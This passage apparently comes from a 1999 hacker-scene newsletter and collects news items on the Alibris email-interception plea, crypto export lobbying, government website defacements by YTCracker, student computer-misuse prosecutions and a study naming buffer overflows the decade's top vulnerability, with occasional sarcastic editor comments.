      defunct Interloc Inc., an online bookseller that also provided Internet 
      service in the Greenfield area through a business called Valinet. 

      Alibris, which faced a maximum penalty of $250,000 on each count, agreed 
      Monday to settle the case for $250,000. 

      "We're a different company in a different business now, and it was just 
      time to clean this stuff up," said Martin Manley, Alibris' president. 

      The information alleges that between January and June 1998, 
      Alibris/Interloc intercepted e-mail messages from Amazon.com to 
      Alibris/Interloc clients that used Interloc e-mail addresses. Many of the 
      Interloc clients were themselves       booksellers. 

      Prosecutors say the interceptions were designed, in part, to gain 
      competitive advantage for Alibris' online book-selling business. 

      In January of last year, U.S. Attorney Donald K. Stern said, Interloc 
      altered its e-mail service so that it automatically intercepted and stored 
      e-mail addressed from Amazon.com to Interloc's book dealer customers. 

      Thousands of e-mail communications were intercepted, Stern said, but no 
      confidential customer financial information was obtained or misused. 

      Prosecutors also allege Interloc kept unauthorized copies of the 
      confidential password files and customer lists of its competitor Internet 
      service providers. 

      Ethan Schulman, a lawyer for Alibris, said that while Alibris is 
      acknowledging that Interloc improperly intercepted e-mail, the intent was 
      not to spy on Amazon.com but to trace the source of a computer glitch. 
      
           
      -=-
      
      Wired;
      
      Alibris Pleads Guilty to Snooping Reuters 
      
      2:00 p.m. 22.Nov.1999 PST Alibris, an online rare bookseller, pleaded 
      guilty to intercepting emails between its clients and online retail giant 
      Amazon.com, a federal prosecutor in Boston said Monday. 

      Alibris agreed to pay US$250,000 to settle criminal claims by US Attorney 
      Donald Stern that it intercepted email messages to its clients from 
      Amazon.com. 

      Alibris, of Emeryville, California, said it no longer offers clients email 
      service, but its corporate predecessor, Interloc, did. 

      Stern's office contends that Interloc intercepted the messages between its 
      customers and Amazon.com in part to gain commercial advantage by gathering 
      information on its customers' purchases and obtaining market data. 

      Alibris admits to the wrongdoing but said it gained no commercial 
      advantage because it already knew what its customers were buying. 

      Rather, according to president and CEO Martin Manley, the company broke 
      the law when it tried to rectify complaints from some clients who said 
      they weren't receiving email messages from Amazon.com. In tracking such 
      messages to       determine the problem, the company unlawfully captured 
      the messages, although Manley said it did not read them. 

      "The conclusions reached by the government in this, with respect to 
      motive, are not necessarily ones we share," Manley told Reuters. 

      Assistant US Attorney Jeanne Kempthorne, who is prosecuting the case, said 
      there is no evidence anyone suffered financial harm as a result of the 
      conduct, which occurred in 1998 and involved nearly 4,000 electronic 
      messages. 

      But, she added, "I think the violation of privacy is a material harm." 

      Copyright 1999 Reuters Limited. 
      
      @HWA
      
12.0  Industry Pressures White House on Crypto Exports 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Simple Nomad 
      A large number of CEOs and other business leaders from
      numerous U.S. software and technical companies have
      signed a letter sent to White House Chief of Staff John
      Podesta imploring him to stick to the promises made last
      September regarding relaxing the export of encryption
      technology. TechNet, the lobbying group, is worried
      that the White House may alter their original plans and
      include rigid definitions that would limit the
      effectiveness of the entire initiative. 

      Computer Currents       
      http://www.currents.net/newstoday/99/11/22/news2.html
      
      Daily News
      Crypto Fears
      By Robert MacMillan, Newsbytes.
      November 22, 1999

      As insidious fears that the administration's proposed
      encryption policy changes won't be as tech-friendly as the
      White House said they would be, members of high-tech
      lobbying firms are joining the letter writing campaign to urge the
      administration to stay on the straight-and-narrow.

      The Technology Network (TechNet) lobbying group joined what
      until now has been a mainly congressional letter-writing
      campaign to make sure that the administration sticks to the
      essence of the strong encryption control policies that it
      announced in September.

      The TechNet letter, signed by 23 members, and sent to White
      House Chief of Staff John Podesta, expresses concern over
      recent reports that the encryption regulations, scheduled for a
      Dec. 15 release, "may include restrictive definitions of
      'government' and 'retail' which may significantly limit the
      effectiveness of the regulations."

      The letter was signed by, among others" 3Com Corp. Chief
      Executive Officer (CEO) Eric Benhamou; Scientific Learning
      Corp. CEO Sheryle Bolton; America Online Inc. CEO Steve
      Case; Autoweb.com CEO Dean DeBiase; Texas Instruments
      CEO Thomas Engibous; Kleiner Perkins Caufield & Byers
      partner Floyd Kvamme; Oracle Corp. President and Chief
      Operating Officer (COO) Ray Lane; Sun Microsystems Inc.
      CEO Scott McNealy; Marimba Software CEO Kim Polese;
      Novell Inc. CEO Eric Schmidt; Software and Information
      Industry Association President Ken Wasch; and former
      Hewlett-Packard Co. CEO John Young.

      "We urge you to ensure that the new regulations are drafted in
      a manner that provides real improvements in the ability of
      American companies to export encryption products," said the
      TechNet letter. "We are concerned that the new regulations
      may fall short of realizing the promise of the announcement by
      failing to level the playing field for US manufacturers in the
      global encryption marketplace."

      "Our nation's restrictive export policies...have allowed foreign
      encryption manufacturers to make significant gains,
      threatening America's leadership position in this important
      technology sector," the letter also stated. "It is conceivable
      that one day the United States will be forced to rely on
      foreign-made encryption to protect our own critical
      infrastructure. We urge you to ensure that the new regulations
      are drafted in a manner that provides real improvements in the
      ability of American companies to export encryption products."

      One of the reports surfacing about draft versions of the
      regulations is that a more stringent review would apply to
      products sold via the Internet as opposed to stores.

      TechNet said that "retail" products should not be defined by
      how they are distributed, because this could create a
      "competitive anomaly where two products that provide similar
      end-user functionality would be treated differently because one
      is delivered in a box while another is delivered as a service over
      the Net."

      TechNet also worried that the regulations might define
      "government" as not only agencies and official government
      bodies, but as companies that include partial government
      ownership.

      The group also said that open source code should not require
      individual licenses from the Commerce Department because it
      "would have a dramatically inhibiting impact on these new
      movements which are providing a source of innovation and
      competition in the marketplace."

      Another TechNet concern is that Commerce Department
      reviews should be limited to 30 days.

      Commerce Department officials in the Bureau of Export
      Administration did not have any immediate comment on the
      letters, which also have come from House Republican
      leadership and Reps. Robert Goodlatte, R-Va., and Zoe
      Lofgren, D-Va., but BXA Chief William Reinsch noted last week
      that the regulations are in a draft form and changes still are in
      the works.

      Reported by Newsbytes.com, http://www.newsbytes.com .
      
      @HWA
      
13.0  Telenor Nextel Servers Compromised 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by rootxs 
      Telenor Nextel, Norway's largest telecommunication
      provider, had one of their servers compromised. The
      system contained information on the company's 500
      business partners. The electronic intruders could read
      and alter information regarding customers. They gained
      access to the information of 20 of thier customers. No
      altering of database information was reported. The
      accounts are now closed, and Telenor has control over
      the situation. (We apologize for the choppy information
      but our Norwegian isn't what it used to be.) 

      TV 2 hovedside" - Norweigen       
      http://www2.tv2.no/nyheter/tv2/owa/web_nyheter.vis_nyhet?xid=363081&kategori=1
      
      @HWA
      
14.0  FBI Wants Dollars for Information Security 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/
      
      contributed by Simple Nomad 
      The FBI is hoping that the Information Sharing Initiative
      currently stuck in Congress will provide it with much
      needed funding to boost its information security. They
      are claiming that they are relying on outdated
      computers and networks. If funded the initiative will
      give investigators quick access to numerous databases
      and computer files now scattered on systems across
      the agency. 

      federal Computer Week    
      http://www.fcw.com/pubs/fcw/1999/1122/fcw-polfbi-11-22-99.html
      
      NOVEMBER 22, 1999 


      FBI bets on new IT initiative for security

      With no new security funds expected for fiscal 2000, the
      agency hopes its new project will address assurance issues

      BY L. SCOTT TILLETT (scott_tillett@fcw.com)

      Anticipating no new money for information security, the FBI is hoping a
      major computer project currently hung up in Congress will provide the new
      technology needed to make its information more secure, a top agency official
      said last week.

      Mark Tanner, information resources manager at the FBI, said he expected no
      "enhancement and maybe some reduction" for information assurance in its
      fiscal 2000 budget, which Congress has yet to pass. "We need more [money],
      but doesn't everybody?" he said.

      But many of the agency's concerns stem from its reliance on outdated
      computers and networks. The Information Sharing Initiative, waiting for
      funding from Congress, would address that problem, Tanner said.

      ISI was designed to give investigators quick access to the many databases
      and computer files now scattered on systems across the bureau, improving the
      speed and quality of their work. The program would equip FBI employees
      with up-to-date desktop computers, software and networking technology. 

      Tanner, speaking Thursday at a meeting of the Industry Advisory Council,
      said an up-to-date computer infrastructure was an essential piece to assuring
      the quality and security of information. "I think we need to maintain a modern
      infrastructure," he said. "We need to have a well-stocked toolbox."

      The quality of some components of the FBI toolbox is "awful," said Tanner in
      an interview after his presentation. He said the agency still has many older,
      slower 486 PCs and that some of the agency's routers and network
      equipment is as old as 10 years.

      FBI officials have requested $430 million for ISI over five years. In the latest
      version of the bill to fund the FBI, however, Congress, concerned about the
      FBI's mismanagement of other major information technology projects, has set
      aside only $20 million for ISI in fiscal 2000, plus an additional $60 million the
      agency did not use in fiscal 1999.

      Still, technology may not be an adequate defense, said James Litchko, a
      Kensington, Md.-based information security consultant. 

      "You can put a lot of technology in place, but if you don't test it, there could
      be something in there that could cause you problems," he said. "You can wall
      yourself, but somebody's going to dig a hole."

      But agency and industry officials say the FBI is not alone in feeling the budget
      squeeze when it comes to information security, given the tight spending caps in
      place since 1997.

      "The funding [for information security] isn't there to do anything significant and
      probably isn't going to be there for another one or two years," said Donald
      Hagerling, information systems security program manager at the Treasury
      Department, speaking at an event last month sponsored by the Bethesda,
      Md., chapter of Armed Forces Communications and Electronics Association
      International.

      "I'm not getting a sense from any of the agencies that I call on that there is
      program money set for the acquisition of specifics within [information]
      assurance and protection," said Charles Viator Jr., sales manager for
      Protegrity Inc., a software company that sells information security products. 

      Tanner said the FBI spends about $200 million annually on IT, but he could
      not say how much the agency spends on security.

      @HWA
      
15.0  JavaScript and ActiveX May Be Banned by DOD 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Space Rogue 
      The Department of Defense is reportedly considering
      banning ActiveX and JavaScript from military computers
      citing security concerns. (I have it turned off, and life
      continues. At least they are doing something.) 

      ZD Net      
      http://www.zdnet.com/zdnn/stories/news/0,4586,2398182,00.html?chkpt=zdnntop
      
      (Sorry couldn't cut and paste this article for some reason.... - Ed)
      
      @HWA
      
16.0  Is It Worth It Followup 
      ~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Space Rogue 
      Yesterdays Buffer Overflow article "Is It Worth It" has
      prompted so many questions that the author will be
      writing a follow up article. So if you have questions be
      sure to send them in to the author. We also have a
      response from the other side. An active web page
      defacer, YTCracker, has told us why he does it. Look for
      both articles next week. 
      
      @HWA
      
17.0  YTCracker Takes Out Gov Sites 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by c0nd0r 
      Claiming a lack of security as the reason YTCracker has
      defaced the sites of NASA's Goddard Flight Center
      international page, the Bureau of Land Management's
      National Training Center, and the Defense Contracts
      Audit Agency. He claims the admins of the sites where
      warned beforehand of the vulnerabilities but chose not
      to patch the holes. (On Monday HNN will publish an
      exclusive article by YT Cracker about the reasons for
      his defacements.) 

      HNN Cracked Pages Archive
      http://www.hackernews.com/archive/crackarch.html
      
      Wired       
      http://www.wired.com/news/politics/0,1283,32729,00.html
      
      Cracker Launches Attack on NASA 
      by Leander Kahney 
      
      4:00 p.m. 23.Nov.1999 PST The Web pages of three US Government agencies, 
      including NASA's Goddard Flight Center, have been defaced by a cracker who 
      is worried that US government security systems are vulnerable to 
      cyberattack. 

      The front pages of the sites for NASA's Goddard Flight Center 
      international page, the Bureau of Land Management's National Training 
      Center, and the Defense Contracts Audit Agency, on Wednesday were replaced 
      with a page showing       a cartoon of a hooded hacker wearing a peace 
      symbol necklace and a message warning of Web site security holes. 

      "To the US government and military -- I have warned you about these 
      security flaws," wrote ytcracker on the Flight Center's front page. 
      "Please secure our military systems to protect us from cyber attack. 

      Identifying himself as a 17-year-old high school student from Colorado 
      Springs, Colorado, ytcracker (for whitey-cracker) said he defaced the 
      sites as a warning to the US government. 

      "I'm not about being malicious," he said. "A lot of other countries are 
      planning cyberwarfare on the US government. If other countries have 
      malicious intent, how can we as US citizens feel safe? I did this to let 
      them know they really       have to prepare for these things." 

      Ytcracker said he chose the sites after scanning numerous government 
      agencies for those most vulnerable. 

      The three sites were penetrated using a well-known trick that should have 
      been known to the administrators and plugged, ytcracker said. 

      Furthermore, he said, the administrators had been recently notified of the 
      security hole but had ignored the warnings. 

      "It seems the only way to get their attention is to show them," he said. 

      The DCAA was cracked early Wednesday, followed by BLM and then NASA early 
      Wednesday afternoon, ytcracker said. 

      Speaking only minutes after cracking the NASA site, ytcracker declined to 
      give his real name but said he has done very little to cover his tracks. 

      As well as being able to follow the sites' server logs, which track 
      visitors to the site, a link on the cracked NASA page leads more-or-less 
      straight to his home page. 

      "If they want to find me, it won't be very hard," he said. "I don't want 
      them to misinterpret my actions. I didn't do it to offend them or show 
      them up. It's basically to alert them. All I can do is pray to God and 
      hope they do." 

      NASA spokeswoman Janet Ruff said the organization took security "very 
      seriously... when things like this happen they require a fast response." 
      Ruff said NASA was continuing to investigate the breach, but that she 
      could not comment       further. 

      However, B.K. DeLong, curator of Attrition.org's Web site defacement 
      archive, which has mirrored the cracks, said the US government doesn't 
      take the defacement of its Web sites kindly. 

      DeLong noted that another cracker, known as Zyklon, was sentenced to 15 
      months in jail and a $36,000 fine last week for defacing the White House's 
      Web page. 

      DeLong said the cracks were significant security breaches. 

      "Any government, military, or high-profile corporation is a significant 
      hack," he said. "It shows once again that they're lacking in security." 

      DeLong said the crack exploited the remote administration capabilities of 
      Windows NT systems and isn't particularly difficult to perform. 

      Before hanging up, ytcracker said: "I'm very much a patriot. I promote the 
      same democratic ideals as the government endorses. I believe strongly in 
      peace and harmony." 
      
      @HWA
      
      
18.0  UK Bans Key Escrow 
      ~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by gladius 
      The "Electronic Communications Act 2000" was
      announced on the 19th of November. The bill now
      explicitly rules out key-escrow, and gives electronic
      digital signatures the same weight under law as signed
      printed papers. 

      Electronic Communications Act 2000
      http://www.parliament.the-stationery-office.co.uk/pa/cm199900/cmbills/004/2000004.htm
      
      @HWA
      
19.0  White Papers on Zero Knowledge 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Weld Pond 
      The Chief Scientist for Zero Knowledge Systems, Ian
      Goldberg, has released beta versions of his doctoral
      thesis. The title of his thesis is "A Pseudonymous
      Communications Infrastructure for the Internet" which
      describes how Freedom by Zero Knowledge works. 

      Ian's Research Page
      http://www.isaac.cs.berkeley.edu/~iang/
      
      Zero Knowledge Systems       
      http://www.zeroknowledge.com/clickthrough/click.asp?partner_id=542
      
      @HWA
      
20.0  ParseTV Back On the Air 
      ~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by ewollensky 
      ParseTV, the weekly hack/phreak streaming video show,
      will be back on the air today (Wednesday). ParseTV
      went dark several weeks ago after the show's host
      Shamrock and the producer parted company. The show
      returns today with a new host and several guests. The
      show is scheduled to feature Dark Lord (Bruce Fancher),
      who will discuss the resurrection of MindVox, Izaac
      Falken, current co-host of Off The Hook, Sangfroid, who
      will give out information on Krystalia's untimely passing,
      and Cancer Omega, who will talk about the fine work
      being done by the Attrition Staff. The web site for
      ParseTV is still in a little bit of a mess and the show may
      not be available for streaming live at 4pm EST but it will
      definitely by archived for your viewing pleasure. 

      ParseTV       
      http://www.parsetv.com
      
      @HWA
      
21.0  English Conservatives Blame Hackers 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by pr0file 
      Attempting to divert attention away from its 'foreign
      donation' scandle the Conservative Party in England has
      called in Scotland Yard to determine if its bank accounts
      have been electronically manipulated. The party feels
      that details about its bank account recently published in
      the Times could have only come from 'hackers' inside
      the Royal Bank of Scotland. (Must have been those evil
      Hackers, couldn't have been an employee or someone
      fishing your bank statements out of the trash. There is
      no evidence that says otherwise so it must have been
      the evil hackers.) 

      BBC 
      http://news.bbc.co.uk/hi/english/uk_politics/newsid_534000/534138.stm
      

      Late Update: 141524NOV99EST 
      A much more realistic article has been publish regarding
      this story. 

      BBC       
      http://news.bbc.co.uk/hi/english/uk_politics/newsid_534000/534752.stm
      
      
      BBC(1);
      
      Tories in 'foreign donation' storm 

      Michael Ashcroft is the party's largest donor


      The Conservative Party has called in the police to investigate the alleged 
      hacking of its private bank accounts amid revelations about massive 
      donations from the party's treasurer, Michael Ashcroft. 

      The party denied wrongdoing over the £1m-a-year fund, channelled through 
      the Belize Bank Trust. It argued details in The Times proved that its 
      Royal Bank of Scotland accounts had been seen. 

      Tory Party Chairman Michael Ancram claimed a "dirty tricks" campaign 
      existed against Mr Ashcroft and the Conservative Party. 

      Although the existence of the donations had already been widely reported, 
      Mr Ancram said that the new details about how the money had been 
      transferred must have been obtained illegally. 

      "The information published by The Times could only have been obtained from 
      our confidential bank statements," he said. 

      "I am pretty clear in my own mind that can only have been accessed 
      illegally." 

      The Times says the donations would be in breach of proposed new rules on 
      the overseas funding of parties and flout a 1997 pledge from leader 
      William Hague to outlaw foreign donations. 

      The newspaper - which was already being sued for libel by Mr Ashcroft - 
      has also denied any wrongdoing. 

      Editor Peter Stothard said: "This information came in the normal course of 
      our inquiries. We did nothing illegal to acquire it." 

      Data Protection Registrar Elizabeth France said she had not yet received a 
      complaint asking her to investigate.


      "From what I have heard so far it is very difficult to establish whether 
      there has been any offence at all or even any evidence that would give a 
      lead to an investigation," she said. 

      But the Conservatives, already battered by the Lord Archer controversy, 
      say all Mr Ashcroft's donations were made in full accordance with party 
      guidelines. 

      Mr Ashcroft is a billionaire who holds dual UK and Belize citizenship, who 
      lives for many months a year as in Central America. A spokesman for the 
      treasurer on Wednesday said he was registered in Maidenhead as an overseas 
      voter. 

      The Conservatives say he is entitled to give money to his party, even 
      though the donations are made via a Belize bank account. 

      Mr Ancram said the real story was the "politically-motivated conspiracy" 
      which led to the allegations. 

      "This appears to be but the latest of a series of dirty tricks being 
      perpetrated by those who will stop at nothing in order to keep this 
      government in power," he said in an initial statement. 

      "There is a climate of fear being created in Britain today. Dissidents are 
      being silenced. Opponents are being smeared. 

      "Now private bank accounts are hacked into in order to discredit and 
      destroy anyone who stands in the way of this government's lust for power." 

      The Times editor described the Conservative claim as an "extraordinary 
      outburst" to distract from the newspaper's story. 

      Labour challenged the Tories to provide evidence before insinuating any 
      involvement in the episode by the party. 

      Cabinet Office minister Ian McCartney said: "The Tory's A-Team - Archer, 
      Aitken and Ashcroft - show the true face of today's Tories. One's in the 
      doghouse, one's in the jailhouse and one's in the counting house." 

      The latest storm follows a long-running row about party funding in general 
      and particularly donations from Mr Ashcroft, the Conservative's biggest 
      single donor. 

      Lord Neill's Committee on Standards in Public Life earlier this year 
      recommended a ban on all overseas funding of political parties.


      Legislation outlawing foreign trust donations is expected to be approved 
      by Parliament within the coming year.


      In July, Mr Ashcroft issued a libel writ against The Times, over a series 
      of allegations about his business interests which were also raised in the 
      House of Commons. 

      The move came after one Labour MP used parliamentary privilege - which 
      allows MPs to make statements without fear of libel proceedings - to 
      detail allegations apparently from US
      agencies' files. 
      
      
      BBC(2);
      
      Inside the Tory 'hacking' claims 
      

      Net crime fears prompted bank to postpone e-banking


      Stories about the alleged "hacking" into the Conservatives bank account 
      bring to mind images of a lone young male - probably a social misfit - 
      sitting in his basement, huddled over his computer. 

      The reality is probably somewhat more anodyne. 

      Think instead of a disgruntled Labour-supporting bank employee with a mean 
      eye for a story and you probably have something closer to the truth. 

      Ross Anderson, professor of computing at Cambridge University, told BBC 
      News Online: "Twenty years ago, if you wanted to find out the details of a 
      bank account you would have to get the ledger in the bank branch - which 
      would probably mean bribing or sleeping with the person who had the keys 
      to the safe. 

      "When the banks computerised it meant that every one of its 70,000 or so 
      tellers could see every customer's account. 

      "Insecurity of data increases with the number of people who have access to 
      it." 

      Mathew Bevan, a computer security consultant and former computer hacker, 
      backed Prof Anderson's theory. 

      "The information could have come from a call centre or from within the 
      bank. All banks are pretty much insecure," he told BBC News Online. 

      "It takes a lot of talent to hack into a bank's computer and I don't think 
      a hacker could be bothered without any financial reward. 

      "And aside from the embarrassment, it's not going to stop the Tories 
      winning the next election." 

      The Royal Bank of Scotland - where the Conservatives have their account - 
      said it has "complete confidence" in all its security systems. 



      Dr Chris Thornton, Sussex University computing science lecturer, said: "If 
      someone has been hacked, they usually keep it secret. 

      "Anyone who makes it public usually has an ulterior motive." 

      The Conservatives say the information could not have come from their 
      London headquarters. 

      But security consultant Matunda Nyanchama of accounting and consulting 
      firm Ernst & Young, said: "About 80% of risks associated with an IT 
      environment come from within. 

      "But what we find is that the clients tend to - I think, partly, because 
      of the press - look at these hackers out there on the internet." 

      Hackers have indeed proved to be a threat to large organisations. 

      Earlier this year internet hackers forced high street bank NatWest to 
      postpone ambitious plans to allow customers access to their accounts from 
      their home computers after it was revealed how online accounts could 
      easily be attacked. 

      Charles Herbert, NatWest online services manager, said its internet 
      service had been put back pending further trials of security measures, 
      which could include the issuing of smart cards to customers. 

      The problems have emerged amid concern in the computer industry that the 
      hackers may be exposing new security flaws as fast as the big software 
      companies, such as Bill Gates's Microsoft, can repair them. 

      The hackers are also switching tactics. Instead of attacking banks 
      directly - as they did in one of the few publicised cases when $400,000 
      (£240,000) was stolen from Citibank in America - security experts believe 
      they are targeting people's home computers and their personal accounts. 

      By leaving viruses scattered across the internet, hackers have discovered 
      they can seize control of home computers and steal people's legal 
      identities. 

      These can be used to attack bank accounts, lift phone records, electronic 
      shopping accounts and private business information. 
      
      @HWA
      
22.0  Canadian Student Arrested for Downloading Software 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      A student at the Elk Island public school division east of
      Edmonton in Alberta Canada has been caught "trying to
      download hacking software". This article does not say if
      he was successful in his attempt or what he planned to
      do with the software or even what the software was.
      The student was charged by the RCMP with
      unauthorized use of a computer. (You seldom see
      ignorance levels this high.) 

      Edmonton Sun - Via Lexis-Nexis     
      http://web.lexis-nexis.com/more/cahners-chicago/11407/5224743/4
      
      SECTION: NEWS, Pg. 8 
      LENGTH: 187 words 
      HEADLINE: STUDENT HACKER CHARGED WITH HI-TECH VANDALISM 
      BODY: 
      An alleged hacker accused of downloading code-breaking software onto a 
      school computer is getting more than detention - he's been charged by 
      the cops. 

      Early in November, a teacher in the Elk Island public school division 
      east of Edmonton became suspicious that a student working on a school 
      computer was doing more than his assignment. 

      "It was one of those things where you walk over to the student and they
      either shut down the machine or do something very quickly," said Elk Island
      technology services director Edna Dach. "The teacher phoned us and we were 
      able to check the logs." 

      Dach said records showed the computer user was trying to download hacking
      software which would enable him to break into the school's administrative
      files. 
  
      Dach believes the student just wanted to see if he could crack the computer
      system, rather than change his grades or wreak high-tech havoc. 

      "But it's vandalism according to our school policy," she said. "What you're
       doing is, you're trying to vandalize something." 

      RCMP have charged the student, whose age was not released, with unauthorized
      use of a computer. 
      
      @HWA
      
23.0  Students Questioned About SPAM      
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      Two students at Southridge High School in Beaverton
      Oregon, have been accused of trying to overload the
      school's computer system with junk e-mail. They have
      also been accused of trying to break into the schools
      computer systems. The case has been referred to the
      Washington County juvenile justice department. 

      Yahoo News - Anyone have a better link for this?       
      http://dailynews.yahoo.com/headlines/local/state/oregon/story.html?s=v/rs/19991123/or/index_2.html#7
      
      
      High School `Hackers' Questioned - (BEAVERTON) -- 
      Two Southridge High School students have some explaining to do. School officials
      say the pair tried to overload the schools computer system with junk e-mail. The
      students also tried to hack into school files. The case has been referred to the
      Washington County juvenile justice department. 
      
      @HWA
      
24.0  Students Fined for Unauthorized Access 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      This sounds awful familiar, but i'm not sure if its the same story
      it involves some shoulder-surfing of a teacher and using the pilfered
      password to gain internet access, sound familiar? how many passwords
      are lost this way? same as calling card numbers at pay phones probably
      anyway this is hacking? ... - Ed
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      Four students at North View Secondary school in
      Singapore have been either fined or given probation for
      unauthorized Internet usage. After shoulder surfing the
      password from a teacher the four students used it to
      gain unauthorized access to the internet for up to five
      months before discovered. 
      
      The Straits Times       
      
      http://www.straitstimes.asia1.com/cyb/cyb1_1123.html
      
      NOV 23 1999 


      Teen fined for illegal Net access 

      STOLEN-PASSWORD CASE

      A STUDENT who accessed his school's Internet
      accounts by sneaking a look over the shoulder of a
      computer coordinator was fined $2,000 yesterday. Tan
      Koon Wei, 19, and four of his fellow students at North
      View Secondary had conspired to steal the password
      from computer coordinator David Chia Hock Boon in
      early 1997. 

      His four accomplices were either fined or given
      probation by the district court last month. The court
      heard yesterday that of the school's three Internet
      accounts, two were for students. But they had to get Mr
      Chia to log on for them. 

      In January 1997, after the coordinator had changed the
      passwords for all three accounts, Tan and his four
      friends asked if he would log on for them. While Mr
      Chia was keying in the password, Tan peeped over his
      shoulder and memorised it. 

      Then, for about five months or so, Tan misused the
      school accounts by using the stolen password to surf the
      Internet from his home computer. 

      Tan's lawyer, Mr N. Deepak, said yesterday that his
      client was a bright student. He asked if probation could
      be considered as Tan was a first offender and had not
      used the password to hack into the system. 

      District Judge Seng Kwang Boon said he doubted
      whether probation would be appropriate under the
      Misuse of Computer Act. 

      He fined Tan $2,000 for unauthorised use of the Internet
      service, taking two other similar charges into
      consideration. 

      Tan, who is now a polytechnic student, could have been
      jailed two years on top of the fine. 

      In a separate case yesterday, a former project engineer
      with Strategic Technologies was also fined $2,000 for
      using the company's password to surf the Internet after
      she was no longer its employee. 

      Nancy Ong, 31, now a sales and marketing manager
      with another company, committed the offence between
      Dec 1997 and April last year. Her lawyer, Mr Kelvin
      Lim, told the court that she was a first-time offender
      who had not been involved in the more serious offence
      of hacking into a computer system. 

      He added that Ong had apologised to her former
      company in April last year and offered to compensate it
      for the loss, but was told by a company director that it
      was a small matter. 
       
      @HWA
      
25.0  Buffer Overflows Called Most Common Security Hole (No shit)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      What about bad C 'coders' ? there are certain rules of thumb
      when writing a secure C program especially one that interacts
      with the internet populace (this includes CGI's and PERL scripts)
      but people insist on ignoring them presumeably to get the code
      out on the street as fast as possible, what we need is some QC
      - Ed
      
      From HNN http://www.hackernews.com/

      contributed by Maggie 
      The Oregon Graduate Institute of Science & Technology
      has released a paper, funded in part by the Defense
      Advanced Research Projects Agency, entitled "Buffer
      Overflows: Attacks and Defenses for the Vulnerability of
      the Decade" The paper labels Buffer Overflows, the act
      of feeding more information into a program than it can
      handle, as the number one security threat to the
      internet today. (Glad our hard earned tax dollars funded
      a study that figured out what everyone already knew.) 

      C|Net
      http://news.cnet.com/news/0-1003-200-1462855.html?tag=st.ne.1002.
      
      Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade - PDF
      http://immunix.org/StackGuard/discex00.pdf
      
      Mudge's Breakthrough Paper on Buffer Overflows       
      http://www.l0pht.com/advisories/bufero.html
      
      @HWA
      
      
      C|net;
      
      Study says "buffer overflow" is most common security bug 
      By Paul Festa
      Staff Writer, CNET News.com
      November 23, 1999, 2:25 p.m. PT 
 
      Quick: What's the computer vulnerability of the decade?

      It's not the Y2K bug, according to computer science and security analysts, 
      but a security weakness known as the buffer overflow. Unlike the Y2K bug, 
      which threatens to cripple computers unable to distinguish years written 
      in       two-digit shorthand, this vulnerability opens computers to 
      attacks by malicious hackers, who can use the bug to commandeer the 
      targeted computer.

      In a buffer overflow, the attacker floods a field, typically an address 
      bar, with more characters than it can accommodate. The excess characters 
      in some cases can be run as "executable" code, effectively giving the 
      attacker control       of the computer without being constrained by 
      security measures.

      "Buffer overflows have been the most common form of security vulnerability 
      for the past 10 years," according to a new paper published by the Oregon 
      Graduate Institute of Science & Technology (OGI) and funded in part by the       
      Defense Advanced Research Projects Agency (DARPA). "Because these kinds of 
      attacks enable anyone to take total control of a host, they represent one 
      of the most serious classes of security threats."

      Security analysts agree that the first step in cutting down on buffer 
      overflow bugs is for people to engage in more careful computer 
      programming.

      Programmers can protect their products against buffer overflow attacks 
      simply by including instructions for handling overlong strings, according 
      to Alan Paller, director of research for the System       Administration, 
      Networking and Security Institute (SANS).

      "It all comes back to one programmer being careless," Paller said. "You 
      wrote a program, asked someone for input, gave them space for a certain 
      amount of characters, and didn't check to see if the       program could 
      take more. You are incompetent, and you are the problem. One guy making 
      that mistake is creating all the work for the rest of us."

      The OGI paper identified careful coding as the first line of defense 
      against buffer overflows, but it said that was easier said than done 
      considering today's programming languages and sloppy       programming 
      culture.

      "Writing correct code is a laudable but remarkably expensive proposition, 
      especially when writing in a language such as C that has error-prone 
      idioms," the authors wrote. They also cited "a culture       that favors 
      performance over correctness."

      To combat careless coding, programmers have developed debugging tools that 
      search out buffer overflow vulnerabilities, according to the paper. Other 
      defenses the paper cites prevent code from       being executed in the 
      address space or establish boundaries that prevent excess characters from 
      moving to locations where they can be executed.

      The paper's conclusions recommend implementing a combination of defenses 
      against the vulnerability.

      Software vendors are ultimately responsible for the buffer overflow 
      problem, and customers should hold them accountable, Paller said.

      "Liability goes back to [Microsoft chief executive] Bill Gates and [Sun 
      Microsystems chief executive] Scott McNealy," Paller said. "Until people 
      stop being so generous with the suppliers, this problem isn't going away."

      Sun concurred that the buffer overflow problem is both common and 
      preventable but defended its efforts to prevent coding errors and to 
      respond to bugs once they come to light.

      "It's quite correct that the problem stems from programming methodologies, 
      and in our case we have been implementing a fairly comprehensive program 
      to go through our software and check it out for vulnerabilities like 
      buffer       overflows," said Tom Goguen, group manager for Sun's Solaris 
      Web server for commercial sites. "We're also developing tools to do some 
      automated checking of the software and tools to prevent any further 
      problems like this."

